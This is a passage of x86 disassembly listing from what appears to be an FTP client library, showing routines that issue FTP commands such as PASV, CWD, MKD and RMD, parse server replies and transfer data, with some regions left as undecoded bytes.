var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 40684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44543068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh,	0E8004455h
		dd 77809626h, 4C48390h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44553468h, 0E8905200h,	778120DDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h
		dd 9558E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 5428682Ch, 17E80044h, 90778095h, 5704C483h
		dd 9621E8h, 0E8905600h,	777FE92Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F1373E8h, 108B9077h, 0E8685752h,	90004455h
		dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FE1AAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456AC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456EC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
